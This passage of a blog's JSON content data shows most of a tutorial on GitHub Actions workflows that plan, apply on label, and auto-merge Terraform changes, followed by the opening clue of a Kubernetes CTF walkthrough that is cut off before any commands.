style=\"color:#96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_plan\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and does not have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e checkout\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I have\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e are not\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you will notice is that the pull request stayed open even after the\ninfrastructure is applied and we do not want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we will create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflow_run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflows\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e merge\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e checks\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e statuses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e outputs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pullRequestNumber\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworkflow-run-info\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sourceRunId\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.id }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emerge a pull request after terraform apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esudo-bot/action-pull-request-merge@v1.2.0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e github-token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it will merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either. You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we have\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-23T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC with Terraform Cloud and Github actions."},{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targeted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eJumpstart your quest by listing all the secrets in the cluster.\nCan you spot the flag among them?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start off by getting the secrets:\u003c/p\u003e\n\u003cfigure 